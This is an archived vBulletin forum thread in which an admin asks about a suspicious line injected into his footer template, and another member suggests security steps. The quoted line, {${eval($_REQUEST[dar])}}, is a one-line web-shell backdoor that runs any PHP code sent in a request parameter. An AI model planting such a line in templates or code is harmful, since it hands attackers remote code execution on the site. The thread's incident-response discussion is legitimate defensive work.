vb.org Archive

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   vB3 Programming Discussions (https://vborg.vbsupport.ru/forumdisplay.php?f=15)
-   -   hacking attempt? Modified template (https://vborg.vbsupport.ru/showthread.php?t=260323)

Amenadiel 03-13-2011 11:31 PM

hacking attempt? Modified template
 
My footer templates just got a new line:

<script type=\"text/javascript\">
<!-- // Main vBulletin Javascript Initialization
vBulletin_init();
{${eval($_REQUEST[dar])}}
//-->
</script>

I know I didn't insert that line in red. I haven't seen how is this exploited, and I can't explain how did they insert this line in my templates.

BirdOPrey5 03-14-2011 11:53 AM

Well change your passwords (all admin accounts and your mysql password)...

Run the suspect files check to see if any files have been altered...

How many mods do you have, could be an exploit in a mod?

Are you running at least 3.8.5?

Check out this article for securing your forums:
https://vborg.vbsupport.ru/showthread.php?t=193930

You could ask your host to check the logs to see if they can see how you were hacked- some hosts are more cooperative than others.

Amenadiel 03-14-2011 04:49 PM

Yep, I'm onto that, I just can't understand what's done with the "extra code".

Is it even possible to get REQUEST vars from a template? I believe it isn't, you must pass through a plugin to do that.

BirdOPrey5 03-14-2011 04:56 PM

I'm not really sure about $_REQUEST but if it's a valid php variable I don't see why it wouldn't work... I use "$_SERVER['HTTP_HOST'] all the time in templates.


All times are GMT. The time now is 10:41 AM.

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.02175 seconds
  • Memory Usage 1,711KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (4)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 

Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete